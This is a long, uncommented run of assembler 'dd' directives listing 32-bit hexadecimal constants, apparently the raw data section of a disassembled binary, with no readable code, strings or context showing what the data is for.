dd 209459D2h, 35E69C69h, 5D416A9Eh, 11B20482h, 76649786h
dd 50EEB32Dh, 0C3C43433h, 0F823246Bh, 0AD1747F1h, 0DBB64A9Fh
dd 5DDB46C6h, 0DAFFAB5h, 2D20CD05h, 4720AE0Eh, 836527Dh
dd 9A6A2C81h, 0B9561FEEh, 48F19ED1h, 0EDF216A6h, 0D4AD3A9Eh
dd 8C4CDCA0h, 0EF68760Dh, 0F776BC0h, 8AE81CACh, 250C85A8h
dd 0FE729E6Fh, 0E12BD387h, 7E96351Bh, 2AF11DE7h, 3C139166h
dd 27B63969h, 0E2B6776h, 0DD4A596Fh, 0D26C1F82h, 727F5542h
dd 0DC701C60h, 87F5C5B1h, 9CB747A4h, 1FFE5B80h, 0BC1CA4BDh
dd 0E05C6B30h, 0C9B0AB87h, 0F6DAC535h, 80F9698Bh, 0DEC6C13Ah
dd 61BA44D5h, 0D0AAA3D3h, 3B0938AEh, 84F5CE67h, 29DB38C7h
dd 0D7350CCDh, 0F19A0A69h, 43D821B9h, 50B50BEh, 0AA18B6B7h
dd 3943E60Ah, 1972F435h, 260F434h, 0EC4D3489h, 0F4B049B7h
dd 192F9FF0h, 0E9123039h, 92636DA7h, 0A169637Ch, 10A83BB2h
dd 0A7DC1D66h, 88084FAFh, 0CFE4BD0Dh, 6B4F5F74h, 0D999F120h
dd 8EEA7EA4h, 0E610AE6Ah, 5888BADEh, 0B241DBF3h, 6C8A4FAAh
dd 977ABB51h, 2096227Fh, 0DAE2BAD6h, 0EED0BAE9h, 6624351Eh
dd 2D1C1ED6h, 1D922D9Fh, 0C65DC97Ch, 49E16CB3h, 30363765h
dd 34C4A5A6h, 0C8DF7E8Dh, 0D34157FBh, 6C7C01FDh, 0A5C87BDAh
dd 82AB1A11h, 0CCE6132Ch, 0F5704557h, 407E1108h, 9B9593E3h
dd 3B4AC199h, 0EAF94B1Eh, 3681D6E5h, 6761B6B4h, 3FBB9F2Fh
dd 0DFA824EDh, 2370A3C3h, 575B6E5Ch, 0FF6E629Dh, 0D9EF2AC5h
dd 0E33DCEFFh, 8ECB14CCh, 0A727E939h, 0F2BF2037h, 0F12581Ah
dd 3F0A967Ch, 30B29E19h, 0F1D8CFF8h, 39057D64h, 5C52BFEDh
dd 1F67E6FEh, 0A1DDDD1Dh, 0F21585DBh, 93D2D130h, 84E2F845h
dd 0D1E1744Eh, 85E83D02h, 9C28BA41h, 3B27CAA5h, 4F10F657h
dd 32302FB0h, 831CAA9Eh, 20AC6DAAh, 0D37B3854h, 0C88FAE08h
dd 0D83474A7h, 586ACFC7h, 7A39FA98h, 721C2CBCh, 0A43CBF1Dh
dd 0EB855ED5h, 81758A6Eh, 1802D8F2h, 1A278F71h, 8469131Dh
dd 7E843D4Ah, 0A5FA0A73h, 7081B5ACh, 0FC314147h, 90DD5D17h
dd 0DD581C07h, 9849FF6Ch, 0D2EBA1B2h, 7D55A0E2h, 67374E43h
dd 0A8ADEC93h, 3CFCB6FAh, 1EAB6077h, 16A2D7A4h, 0D97BB59Ch
dd 0A8AE6261h, 6B975344h, 2CEA95E4h, 7C9EFEF8h, 6AA34822h
dd 0F537558Fh, 0CACE8C9Fh, 664C309Ah, 286A3A96h, 0AB393406h
dd 65531231h, 3207EDC7h, 0AB41B240h, 37AD1F34h, 3AD7FD80h
dd 0B4D2A3C2h, 2A901ED2h, 7E2E7F6Ch, 6199DBC6h, 0B8BBFB8Dh
dd 636F3C23h, 2A8464FAh, 227F26AEh, 2501857Bh, 0CE55B3F0h
dd 89E9C7F6h, 0E5148FA4h, 57505272h, 0CDFB771Ch, 2DEFE376h
dd 0CE0274BDh, 33A396A6h, 0EF5950E5h, 0FEB2DD00h, 8A7F5795h
dd 0B1B39E64h, 0D576C754h, 7D403BE2h, 0DAE1506Ch, 52008AD3h
dd 65AA3073h, 0CA2E8A47h, 549939E3h, 12E34A35h, 3CE28ADFh
dd 3DA61C28h, 0E8CADCBCh, 165338BAh, 0B25E332Bh, 0DED00129h
dd 63B0F384h, 0ABCFC697h, 68B0E32h, 5E8E1567h, 615B1DDAh
dd 5990F0A9h, 0E33CB79Ah, 0F309760Dh, 0BCE673EDh, 6910B4Dh
dd 0FC7D08BFh, 0CF635549h, 0E0AE28C6h, 6BE64F1Bh, 96600B04h
dd 0BE1C9177h, 33EE9858h, 7DE05E0h, 2EEB7DFDh, 12E7F7D1h
dd 6896775h, 0EFA06470h, 0F410B5E7h, 0C9E170F1h, 24870C3Dh
dd 9104BBFFh, 0CB4F3ADCh, 477E33AFh, 0C055A7AFh, 3D17B8A1h
dd 6F98EBCDh, 89A91BF7h, 0E16129E3h, 0AE9F33AFh, 0FB17B85Ah
dd 0A39B24A4h, 81C3A9C4h, 264DE210h, 0D9CE1CF5h, 0DDF774D8h
dd 33FC4D59h, 51CFE094h, 6CD49B54h, 0F8D06C3Bh, 9373F706h
dd 7E73F493h, 1B8B84ADh, 0AF6A4D8Ah, 0B82F02A6h, 0A14E2AC6h
dd 0D4757513h, 0A374F6F8h, 71D5EA9Bh, 1424D72h, 34DD8C43h
dd 0CA534A43h, 417BE98Eh, 0B7A52F1Ah, 0E8385665h, 21C52A7Ch
dd 9FF55CC8h, 2F00314Fh, 42F55552h, 0D689C807h, 783BF433h
dd 3B2724D4h, 95BA57B8h, 63902D22h, 46421AE7h, 9A00C360h
dd 4339D5BEh, 69F1D7F7h, 0CC3C7C7Ch, 13CA5DCEh, 0BBB67C7Ch
dd 84C544B7h, 2A1FBBECh, 4991759Ch, 6709EB51h, 82D35E32h
dd 6EDBC4BBh, 90EE79D5h, 0E676ED6Ch, 21763769h, 42861C4Ah
dd 688869E3h, 25082D29h, 31E74B89h, 55EE3AD9h, 72AC5902h
dd 507CC4ADh, 5493A8CFh, 0C8A7E5Dh, 0F79E1E5Dh, 6541FEDBh
dd 72D10A7Bh, 7C296FBBh, 1C5E4AF0h, 4B3A3E95h, 61F49E63h
dd 21240323h, 11D6D2FBh, 0D99AB210h, 0CD27085Ch, 17BEDFD9h
dd 0DA531B97h, 6B607ED3h, 0E7172C72h, 8D7D3114h, 0C2D3B760h
dd 0E3AAE7D6h, 303EB6Bh, 4FA3FF02h, 812D63C9h, 0F2A1EEB3h
dd 0ADF9520Dh, 5EB85C8Ah, 0EE047E16h, 10DCFEF8h, 1316CD6Dh
dd 451AFB61h, 103833B8h, 0FA8DA362h, 8B5615BFh, 600A3D88h
dd 5E0D4195h, 28F58508h, 0FF75F107h, 24432FCBh, 14318616h
dd 3CCEE86Ch, 648D4581h, 0BC7FF24Ch, 0D165CC75h, 68E300C1h
dd 0EC80ECDAh, 0A29D13C9h, 80FCDCC1h, 1BEE7506h, 6A520E09h
dd 946CE08Ah, 94EB262Bh, 1B168746h, 1E509690h, 53013D8h
dd 0D63E0BC3h, 2ED0C389h, 47A9A65Ch, 99218376h, 6AB723D7h
dd 0A15FF299h, 5A68050h, 71BEC1Eh, 76113E2Fh, 0AC833587h
dd 0A7026E05h, 0EA4279Dh, 0DD3F1B90h, 0AACA61F4h, 18741DDEh
dd 0F035FE98h, 6F2FD678h, 6C6C5876h, 0C238828Fh, 0CEEBC80Ah
dd 0C687B391h, 9CA27EBFh, 160236FCh, 68A98C5Dh, 0ED7FC965h
dd 21FFBBC2h, 82C92220h, 0C7610F5h, 1D375D6h, 504C1351h
dd 0F45A74A0h, 0F19B87C2h, 0F072D178h, 0AAD338F7h, 2126B25Fh
dd 0D5C99517h, 0F660B158h, 0FFB004AFh, 586429A0h, 0E6C7B76Eh
dd 67CA7914h, 6C34F8Ah, 3836A31Ah, 0DA7ADA92h, 1D50C233h
dd 889E3556h, 5AB04ED3h, 44E2030Ch, 0C8C61877h, 1E0BE527h
dd 0CBCC97D4h, 826EFAB4h, 929F3BC5h, 0E5A28F2Ch, 0DD7CC03Ah
dd 0E2F89600h, 0ED80C0EAh, 0CB7D7BDBh, 8F76020Dh, 46D7506Ah
dd 90E4C903h, 94774D40h, 1529492Ch, 0F34F1E9Bh, 0FB7BA6BFh
dd 16C5C393h, 0A6D489C4h, 0CDF7E10Ah, 0A10B9F83h, 7C9A388h
dd 44B78A53h, 205A1BE7h, 0FF1AE44Bh, 0A168020h, 158431A4h
dd 0DE28DFECh, 8F37A9h, 0A7A4A9F9h, 29783259h, 0DE197223h
dd 38011BD5h, 4283979Ah, 2F850041h, 139C5686h, 79463346h
dd 0B9932407h, 6F3D1366h, 4E094F73h, 0D7F4AB38h, 81F2AB46h
dd 0D7726C85h, 0E53E83BAh, 0A9109D4h, 0B15D89F3h, 44D609DBh
dd 880FA934h, 0D776BA68h, 8E521B39h, 84D1F447h, 0C51CC950h
dd 0ED53706Fh, 3D4EC5F7h, 87098407h, 0D1B266D8h, 56015290h
dd 54C555B7h, 997DE7F2h, 814FF205h, 0E10EF2B6h, 0F88A2771h
dd 74D85674h, 1CE913F5h, 0D926E444h, 0CC1C113Ah, 0B4A7EB96h
dd 2BCA3EF6h, 0B74DC0D9h, 417BB6B3h, 0AD64AEA5h, 0BC6F70F8h
dd 5790CC8Ch, 0A5CC7F8Dh, 0B398E42h, 15AAAC6Dh, 0E1582E70h
dd 0BD6C5183h, 416A2847h, 0F319267Bh, 92C2F6F6h, 9191915Bh
dd 75C5625Dh, 0E45302CFh, 9F61579Dh, 0E12CA8A4h, 4F1AE8F6h
dd 3242FE61h, 1E9C39C4h, 0D468714Eh, 0B8145C71h, 4D28034h
dd 0B2301831h, 646D1CA5h, 81B8D3DAh, 109A996h, 0E353867Dh
dd 0F0229E13h, 205DF590h, 1158B408h, 0DC34A84Bh, 9EF99FA1h
dd 0A964D291h, 0B00C8132h
dd 9E5FEh, 559E623h, 1FB075B4h, 8A2D06FCh, 623FE2D5h, 8868D706h
dd 104244E5h, 0B083248Dh, 0E4B13FA8h, 106FED35h, 83B68FCEh
dd 5C73EB11h, 0ABBB07B9h, 53ED75ADh, 5FEF5D23h, 0B054F025h
dd 0DAC7130h, 0F7BDAA9Dh, 0C26DF7ADh, 94394B98h, 78395728h
dd 642D1C09h, 5FB9CBA7h, 6B1AC2E0h, 0BD3C4AC4h, 67AABA4Ch
dd 4348597Dh, 474E3D62h, 8C34D047h, 0BB17FE9Bh, 0ABA4B39h
dd 3A38424Fh, 0C1ABB117h, 0D7D8106Ah, 0D0CFF26Fh, 5DF044FCh
dd 1627CD26h, 0F906B229h, 3D199EAFh, 55C66A92h, 0C3E5AD42h
dd 903D07E5h, 0D7D2901Bh, 19C07BF2h, 5DE2393Ch, 0DC3D7F9Ch
dd 2AFE437Eh, 0D0AE6F37h, 0E4D62283h, 655AA304h, 21135088h
dd 0B203EAAAh, 0DD49E3F9h, 0B2BABFDCh, 1C664DB2h, 0A4F23016h
dd 2C5AE8CEh, 0EF2EC2E7h, 6C9FA64Ch, 93DEAE05h, 87B0BCB9h
dd 0D59B5812h, 328DEDD6h, 2DF80193h, 2A35FD7Bh, 86F3412Ch
dd 6A41152h, 2E8D0DB4h, 0D586AB53h, 9335C6D3h, 99462B49h
dd 0C81B7026h, 376E7978h, 0D8EEB0h, 25381359h, 64DB0BF1h
dd 1E6789C7h, 4F5AD7EBh, 0A3083950h, 0C547F1B1h, 0FE656B24h
dd 9CD2773Ah, 1B683AA1h, 0A49FD68Dh, 0E0486592h, 0C800A4F8h
dd 0C6C79D0Eh, 7005E3B0h, 0FED7D508h, 5059E1FDh, 3589E959h
dd 13FDB630h, 0F2C2883Fh, 0B53E3B55h, 0A8D59692h, 0E4A8EEBAh
dd 8C76A538h, 210506D8h, 0F195D5h, 79346243h, 8948622Bh
dd 0E5BA7F05h, 0B710C088h, 0C67325A2h, 43EBA42Bh, 73B83D5Ah
dd 0A54C27F5h, 29C65263h, 0F2576197h, 8D30D145h, 0EDF9D021h
dd 0B52A8CC7h, 0BA777B9Bh, 15D8C4FCh, 0F8BF0EDDh, 697758D1h
dd 0B9BF57D5h, 6EC59697h, 0E087341Ah, 0A1A13B7Fh, 41AB2935h
dd 58C70470h, 0CB7816E7h, 0B6985623h, 0BA7D5F4Ch, 0CB807CF3h
dd 4C066CDDh, 949C31E7h, 0C21402CDh, 2C039D99h, 54EFC8Eh
dd 593C294Bh, 0AC259E13h, 37DFAC66h, 27FA1D9Dh, 482EE89Ah
dd 81EF58EFh, 0BC9A7278h, 6DF34DD6h, 0EC14F7F0h, 63A0A240h
dd 8D6E65B7h, 0F7C60F80h, 0FC5F3EC8h, 0E3BF0448h, 1AA445C7h
dd 4B064E68h, 9CC41F5Ch, 664938FEh, 0CEB793B9h, 80FE702Ch
dd 0DC01979Ch, 9E43019Ah, 43D36A0Bh, 3DC264ACh, 0F7E27620h
dd 0AF7E2B9Eh, 0BDCD4352h, 0A0127B4Ch, 0A9E93F2Ah, 0F95EA80Dh
dd 0F4273CDAh, 561E76DAh, 0E19BAAF2h, 0C5D63205h, 0FD010930h
dd 8294351Fh, 9AB24103h, 0D6794AB6h, 804956A9h, 87C7DC27h
dd 0ADB0BA1Ah, 0ADA97641h, 53F5965h, 8FB3AE62h, 0E507455h
dd 17940310h, 1EB8B328h, 28BF595Bh, 79BF203Fh, 6980E0BCh
dd 941ECCF9h, 0DCD7B561h, 0C7BC5210h, 0A4C8911Ch, 0ACC90876h
dd 3DB5B9D2h, 0B3B6079h, 0E7B39AFAh, 0EF0BEA56h, 0F2E0367Dh
dd 142FE4EDh, 5066C606h, 158790E1h, 70C7792Dh, 7F3BA5A4h
dd 0ED15D1Fh, 2B15FA83h, 654A03BFh, 9F5A8CF2h, 261021CCh
dd 213B071Bh, 0C4FC2DDBh, 0A177C0B6h, 0FD730DC2h, 4FC41C7Fh
dd 966E4BDh, 0D769A65Fh, 0A053E444h, 555C4F88h, 69EEBC7Ah
dd 8F247CAAh, 69AB4C1Ch, 6E967ABDh, 8DFF922Ah, 92958E19h
dd 5CBD44F2h, 7A7ADD26h, 625743E3h, 0DC10DA64h, 0E4AD10DDh
dd 4380B610h, 0A5266632h, 74A56BCEh, 0D5AEB281h, 81C1189Ah
dd 0CB1820F7h, 0EA38C88h, 0A5636F2Ah, 0AACA501Dh, 2A0E5426h
dd 288F65A6h, 0BF57735Fh, 0C72264FDh, 0A3B02E96h, 4A6EECF3h
dd 0A6D53A11h, 0EFC5F811h, 9F9CB81Ah, 0F4998CAh, 0CE352839h
dd 951DC71Ch, 0D97A4888h, 96E5358h, 4C63DF09h, 0B162CAC2h
dd 21F06952h, 4F45423h, 544E1B24h, 64EC0A17h, 91D76F32h
dd 0BEFBF56Ch, 78AB087Eh, 7606FEFFh, 1A0F59BBh, 21C02DD0h
dd 0D97DDE69h, 49E16DFEh, 0C955EBAh, 259EC5E6h, 26572D91h
dd 2F58E57Ah, 5B9A15ADh, 6DBC5306h, 4B0519Eh, 0B14099B2h
dd 1E33CE84h, 8B62A00Dh, 0EC182A79h, 2A1F5C50h, 0C5355282h
dd 0F657BC51h, 26A04285h, 75A7937Bh, 0D0D42C82h, 0D49CEABEh
dd 74F25C3Ch, 56362F2h, 51E765CBh, 0E71B1D90h, 0D618AB9Ch
dd 92A2D1FCh, 41B925C9h, 0AB1D891Bh, 3CA6DDD1h, 7A628960h
dd 0B588531Ah, 0DC86C137h, 5E4EF83Ah, 5BBE85Bh, 49C60AEBh
dd 0FC9ED854h, 0C0DB2F45h, 45A8B1B1h, 2AE95DFCh, 0CA18FD0Bh
dd 94619AF1h, 0DC369277h, 993A7CE2h, 7761E15Ah, 0BE38D400h
dd 0DBA84AE7h, 89F4260Ah, 3BE35B45h, 0D2BE2363h, 53B53C49h
dd 0CC1BA8A4h, 38A7B388h, 3C2FF369h, 0FE20C089h, 256CF814h
dd 0D02D21DDh, 46E5321Fh, 0BB6E1521h, 0EF4AC3B4h, 4A7F01A5h
dd 0BD460C3Fh, 945A8EACh, 3A70FE25h, 0BE1090F2h, 977ACBCBh
dd 5B430F15h, 0CCA49FF7h, 84BAB621h, 0AF11A131h, 0D4D98D4Bh
dd 0F77A9F0Ch, 0ED9FD16h, 473DD378h, 0F491FFC7h, 15FC6593h
dd 3F603E6Ah, 0FF11BBC4h, 0DDDE6C91h, 0FC4AF5CAh, 3A5D8BFDh
dd 9A30447Eh, 0D1DEE599h, 2CBCE8A1h, 0AAD049CAh, 0CBAF1102h
dd 4C9A7E58h, 4E9EF18Dh, 0F6853DFEh, 0C9C7CFEEh, 0FC151666h
dd 53826FFh, 52781F94h, 1F943A6Dh, 308C627h, 0FD59B3FBh
dd 0DD23DF2Bh, 0F74CFF59h, 18D6F0C3h, 3AD40C5Ah, 923CBEA8h
dd 0D8EEC5Eh, 104D3350h, 0DA03239h, 0BA571667h, 90295149h
dd 9744CA6Bh, 0F7E3025Bh, 0F5AA3437h, 0DC225D98h, 41BC14C5h
dd 3A3A94D4h, 34A3C71Ch, 0A51BB875h, 1919B700h, 9DDB0D37h
dd 0FCD888E7h, 548216A5h, 9A2C02BCh, 21DD8043h, 0DA544EC2h
dd 498BF7F6h, 0AD8CF9FFh, 0E06E7281h, 0D69A4E7Eh, 1FEF9E50h
dd 8F3B37B7h, 8F8062EAh, 83EBAC66h, 3780AC4Eh, 7CBB9269h
dd 6B258046h, 0C7158181h, 0D0FA84A2h, 0E143001h, 6448889Fh
dd 11AAB0B2h, 0B3624EDDh, 0ECD1F540h, 56DF6E3Fh, 0F0B5A947h
dd 0B8FFE574h, 173C430h, 5A5380E2h, 33822507h, 42E3A510h
dd 1A7DED25h, 5F6B9969h, 6486FBF3h, 0E504CAAEh, 3E2A3FADh
dd 0DB111B5h, 6A1F44ACh, 7DE47C30h, 51A1EC58h, 33241A87h
dd 0C6E5EDEDh, 548F700Eh, 84F6F5E5h, 56EBC853h, 7E94B696h
dd 0BD62DF67h, 0FBB0658Ah, 0B13427BEh, 0AFBD1C11h, 86EFE414h
dd 18825F18h, 39BD5882h, 6D228FA7h, 0E86F90Fh, 87188B04h
dd 65B88069h, 0DDDF8B2Ch, 20FEB524h, 0B7363B32h, 31EBB19Bh
dd 0AA60BF0Fh, 51025293h, 0DE5A9453h, 0A04D0B44h, 8806E3EDh
dd 863F8652h, 0BD4D4ADh, 588DEAB9h, 0C3F7748Bh, 0F8DAA5C7h
dd 23BF9020h, 7ABD93EEh, 0A51962FBh, 0D4167C0Dh, 0B0A74D04h
dd 89BF09EAh, 768A128Eh, 0C82C1326h, 4122C616h, 4F61833h
dd 0DA0DF986h, 5CE4FBDBh, 5E659E2Bh, 2D7EB19Ah, 1288794Ch
dd 7C6284C8h, 0B243B1F5h, 2BDC43BFh, 7B91057Ah, 0D72A34F6h
dd 17149E4h, 7AE46109h, 0FD7E054Fh, 0C1B1397Eh, 14BC3B48h
dd 3A97E8D4h, 87071BF3h, 0BC36BA13h, 0C486856Bh, 74E6DED5h
dd 85E237D9h, 0A5D02BA2h, 59CEDB9Ch, 84D81AE4h, 6AAE8B08h
dd 0E0085AC8h, 96CB8AA5h, 0E9060948h, 0B6CEC3Fh, 0BA0E3C9Bh
dd 74FECA75h, 0E26175DCh, 6F97F701h, 17A9DBB6h, 0F889F083h
dd 710F4209h, 0BE7201F1h, 3C6CF93Ah, 0D8CCAE62h, 8EF11939h
dd 0A5913371h, 512A2D9Dh, 57F6545Ah, 586BC976h, 946DABEDh
dd 60F55DFCh, 0F9501D6Ch, 0E9B6FEE5h, 0C8895696h, 87DB114Bh
dd 318AC34Fh, 0AB42D4A8h, 9EB3D5BAh, 10300CE7h, 8FFB51C6h
dd 0B448D66Dh, 0F028C640h, 55BD308Ah, 6A93E895h, 8B8D1244h
dd 0ED567D2Ah
dd 0ED70B08Eh, 5B74FED3h, 70CD9412h, 17C6BC5Bh, 43E05909h
dd 135EC096h, 2863FCDCh, 3B5D9452h, 789EE583h, 71445D6Dh
dd 598FD4BCh, 0A5AEC3D2h, 498DEE4h, 0AD6B010h, 4086FBFCh
dd 426A5C00h, 38C8F446h, 0D546D1CEh, 0EE3F6068h, 3BB2C9A9h
dd 0AC8E59Eh, 3F67565Eh, 0DB0725B1h, 6EF2EB24h, 0C6746C46h
dd 91A906B3h, 0D7DC292Bh, 21E71D65h, 0BC00A2A7h, 6455E894h
dd 7DFE0AE2h, 272A4B8Dh, 0F5FC5984h, 71E2851Dh, 0B1925525h
dd 0CF113299h, 8248BBCDh, 568028BBh, 563D1EBEh, 79FD5C47h
dd 455EF318h, 21226E42h, 1AC88CFDh, 3446FB10h, 0F8608A47h
dd 1B7D5613h, 6D6EA3B0h, 56A764EEh, 7E0A4566h, 1D0F34BAh
dd 0E201EE75h, 2B12393h, 4D88BE8Ah, 0C844D995h, 0C588BFh
dd 7F9DED3Ch, 0CBDB9FE0h, 0FCA06EBDh, 9570041Fh, 3896031h
dd 62AFFE06h, 688E4E9Ah, 91A910CFh, 0BB63826Ch, 0B48879F4h
dd 1A5h, 4563BBBEh, 0B59058B5h, 917AD86Eh, 0CD727EA8h
dd 395D2318h, 0AA6C473Ch, 8641D761h, 0AB940E3Fh, 0C2C1A9D2h
dd 4F76E8E5h, 8C3F77FAh, 947308E3h, 0DB92DD57h, 0C4E674B4h
dd 7D8A92D2h, 0D92CD067h, 6021F4B7h, 2C18A30h, 0D5B6B13Fh
dd 0F91983EAh, 0F7ADB9D4h, 4B0219DEh, 54313E7Bh, 355CC65Dh
dd 0B106286Ah, 0B9D7CC7Eh, 6A45AFF5h, 7F2F3E13h, 528D6A55h
dd 0CA5527ACh, 69E1BD46h, 56F92112h, 1A82861Ah, 0AB01FE3Ch
dd 0AA2FB6C9h, 107D6590h, 93601F81h, 0ABD4DB96h, 5E93F9C5h
dd 0D0E1C187h, 847BE5F5h, 9143ABCAh, 27AAF7ADh, 1686F46h
dd 16FB275h, 46D5AC20h, 0B4B2E6ADh, 7CBCC122h, 73C9B3ABh
dd 121CF5CAh, 30FB6616h, 0C5ACAD47h, 211A6FE5h, 0C755E280h
dd 1E487D6Dh, 532414A8h, 28B741B0h, 0D74BED58h, 3DB7BF64h
dd 26190E83h, 0C2EEA5B7h, 0C33D833Ch, 80820069h, 7B38B241h
dd 653AC393h, 1702E85Eh, 726733C9h, 0C2511808h, 7FFCAE04h
dd 4FFA92B0h, 2FA7492Fh, 1E852D51h, 0E2C10F3Eh, 8890F65h
dd 8986975h, 4A2C110Eh, 8DCF4940h, 0EF40B86Fh, 0F076F85Ch
dd 0E058D067h, 4A80AE9Fh, 0BACCF77Ah, 7FF98541h, 0DACA8E34h
dd 63DFCDF4h, 47288C65h, 3C85807Ch, 0A50BC3BFh, 880FD6D2h
dd 7F7B0203h, 0E421AF36h, 8DB5E7DDh, 0A82843FBh, 0CEECBFB2h
dd 0AB96B1EBh, 0F4830079h, 1E6869EDh, 0EEAEBEF4h, 0DC611E72h
dd 639695EAh, 0BC99B5D7h, 0E23AB9BAh, 45C82CEFh, 6F5D2395h
dd 0C435A43Eh, 0C1F5A0BEh, 10CDCBD1h, 756D4EC2h, 0D316E9F7h
dd 3CC420C2h, 0F900BD4Eh, 36A4BD94h, 5684809h, 7B44E3ADh
dd 6AD28580h, 180BBD13h, 0AC9714C6h, 0B45BD5BCh, 0C5448CA6h
dd 0A71DFD46h, 7483021Bh, 0F5DBC153h, 33D62D15h, 61B06325h
dd 734EE29Bh, 0A51F9BDCh, 7081A241h, 21EFFE85h, 56E26F39h
dd 0DA1DB29Dh, 2BBA821Eh, 66CC6207h, 3F68ADC9h, 0F5B9E179h
dd 0B3266E03h, 769AA710h, 3F2B21CBh, 64FD06FDh, 0CF317FF1h
dd 0C09595D2h, 9F16BBB5h, 0F07BE147h, 0F6FE2969h, 5AF79432h
dd 0A4A01AE0h, 9135F814h, 65AF788Dh, 0CC1B8157h, 256C28BDh
dd 8670F87Eh, 471DE612h, 51BFDADCh, 650FCD9Ch, 0E4947893h
dd 9AD4BD9Ah, 141B0373h, 0C7273B40h, 0FB74829Ah, 0B219BD6Ah
dd 2D51C798h, 9B0C29F3h, 0CB623BA6h, 0C34618A4h, 95422C24h
dd 32025FD6h, 0C8CE2891h, 8517E043h, 4019A5E1h, 4C3A908Ch
dd 0F288F60h, 0E217E64Dh, 749C0028h, 0CEFB3879h, 0A441D007h
dd 0E443581Ch, 744739B6h, 0C4DFF7D2h, 2071350h, 1CE01323h
dd 0A423A0DBh, 0FA009629h, 0A2297D06h, 2C64CCCFh, 0F6C9AB81h
dd 2ACFDFC1h, 29882300h, 51C3CB6h, 33057BA7h, 624217A3h
dd 4228C22Ah, 8C7918FBh, 1CFDC2A8h, 0A9E53856h, 0EECA0A4Bh
dd 6ED1558Ch, 0AED9AB5Ch, 10140F9Ah, 11E2A4C0h, 98DE5620h
dd 5D8B4F99h, 9CB9906Bh, 5287FC6Ch, 0F1C224CAh, 0E719F151h
dd 0DF35B1B9h, 0F714FF6h, 0CE1AD82h, 386B49ABh, 0F188F682h
dd 80DB166h, 612D341Dh, 0F909A834h, 0F5CCF9C2h, 1913DDDEh
dd 25EBA1Dh, 0D1C8BD1Fh, 3F8136D9h, 0AC2087FBh, 96CA3465h
dd 19AD309Ch, 3E1547CBh, 6710F681h, 62F87F1Ch, 8D8C3E09h
dd 0E1295605h, 3E625385h, 0F7387A0Bh, 6C0E46BDh, 8753DE71h
dd 980EF0DCh, 0B03240A0h, 4231814Fh, 7CDDBBA8h, 78052E5Ch
dd 0B2FF0191h, 353FA6D4h, 0E00CECBEh, 669C3644h, 58FC9842h
dd 485EFF04h, 0EF91CFDEh, 2AA42A39h, 6413BC9Fh, 5E96E8F6h
dd 1BA9AE78h, 9A0B27A2h, 34EB073Ah, 6C7B3A38h, 0AB551726h
dd 7EF4F967h, 0E6BA7601h, 0A6B8FCFBh, 0C8BDD7CCh, 333C212Ch
dd 63507C4Bh, 926C4E13h, 8C12CF6Ah, 78D82EB0h, 7F6AF07Ah
dd 7A683956h, 2BAD6785h, 38A710FAh, 46D5D82Eh, 91839B99h
dd 0B1E7AA3Eh, 0AF8D5F63h, 374AB41Ah, 0DE6B9731h, 51785097h
dd 89809990h, 0ED7DB3D2h, 0BA54356Ah, 54A3AC9Ah, 0CA327980h
dd 4445D652h, 0FE14EF3Fh, 0B7BEC20Dh, 0B38D40E0h, 15C43B4Ah
dd 0AC1D1D50h, 40D3D005h, 25E7EC0Bh, 0AA3EB021h, 335C687h
dd 8830B036h, 884527B9h, 768E0A4Fh, 0F7BA10A7h, 41E482E6h
dd 4D965557h, 0B31AA289h, 0C469F6Dh, 0C9807D83h, 5968C1CDh
dd 37206596h, 8932DB3Eh, 4AEAC8B1h, 46532B2Ch, 962DAC4Dh
dd 0A89C44CBh, 0A958447h, 0E539770Ah, 0C7BE2AB8h, 0ABABFA57h
dd 0D0C63109h, 456BB0BAh, 0C9C6CD9Eh, 0F3291E73h, 0B6E642FDh
dd 4F186A00h, 6A63D668h, 0C36A99B4h, 68B1B05Dh, 54452057h
dd 0D4DEA854h, 0FBE0C7B1h, 0FBB6B39Eh, 0E4A9F222h, 0F021D5B0h
dd 0B7A34B23h, 6B702E9Dh, 0FBCD8A44h, 4229D11Fh, 597ADC7Eh
dd 0D3B64E94h, 0FAFE2A13h, 0C779487Fh, 5E6D8468h, 0F130B764h
dd 0D86D38D5h, 0C8828208h, 0B982D4D5h, 911816D7h, 0BE91AE61h
dd 85A5E5D2h, 9D912FE8h, 6C4F3003h, 45C07BC9h, 89921BF8h
dd 1E8C3203h, 0D2DCD85Bh, 0FD4C67FCh, 87B6BD1Fh, 14E0DDA8h
dd 0A8E66907h, 58BB0A3Fh, 71238990h, 0A308321Dh, 0A4A8F9C2h
dd 1C7C8946h, 0F173D42Bh, 683139CDh, 0E788E944h, 0D72E4923h
dd 0B5A4D82Eh, 364787AEh, 47D0F3FEh, 0D493AC04h, 3149F667h
dd 0B76E84DAh, 5D0F911Dh, 1901B9B0h, 0EC1CDECFh, 9062BF68h
dd 0D78D5ADCh, 0FC169B44h, 0C56C3B1Eh, 4AC053EBh, 5F0936FDh
dd 627A4496h, 0F3E57C19h, 205E41F6h, 29D00F57h, 746B13CCh
dd 0D400D77Ch, 4A210860h, 971548B2h, 0C5F2BF32h, 5E6EBB43h
dd 388C9F84h, 0EA31BF07h, 1652A4Eh, 82B948C1h, 5A7288CFh
dd 2B8599DBh, 0D57306EAh, 0C2879619h, 6546C49Fh, 6C5E165Ch
dd 0D0B72354h, 56AFFF56h, 7C9CE695h, 0D9C1C7Fh, 718F7CDEh
dd 70E70AFDh, 5A0BC7h, 0E2555A36h, 0F3609F11h, 9DF7A01Ah
dd 0D9C31218h, 0AD2D56F6h, 0E963B549h, 9BC65BADh, 0C7F99936h
dd 0BD2CE3DAh, 0ED2BC2A7h, 0C3D0BEA3h, 0A4D43A7Eh, 99843DA8h
dd 0D22E8609h, 5B0A4726h, 0F72307FCh, 65324732h, 0E9216166h
dd 8C39BEC3h, 0A491DBA8h, 66A07DA2h, 0F448F8BAh, 1978B8AEh
dd 30EEFA92h, 3942A197h, 1D541B67h, 3D45F47Dh, 0F2890CD9h
dd 0B1DD77E6h, 21494C4Ah, 0FA2A97D4h, 3889C9CAh, 0CC9A8054h
dd 0D6DA9F0Ch, 0AB76E61Ah, 0BC144283h, 0E4AA15A6h, 0CCC6DDE7h
dd 0B036CBF4h, 3A31AD74h, 0B3675812h, 0FE4EABD9h, 83EEF0C6h
dd 65CDE04Fh, 9B8CE011h, 12F32BCDh, 43FA6A8h, 14CD1C48h
dd 7AB665F3h, 362A0F94h
dd 33242539h, 0D461125Ch, 0D9C166AEh, 0F83307C8h, 0E8D94074h
dd 0EE7B2A48h, 0C25F1589h, 120DCC90h, 47CBDA0Fh, 1E5440E0h
dd 11875386h, 0CF9AC4CCh, 8A92B726h, 47368CC4h, 3F059936h
dd 0D89EBFAAh, 0DDB933h, 0D62A620h, 0BFD0061Ah, 53B7D8Dh
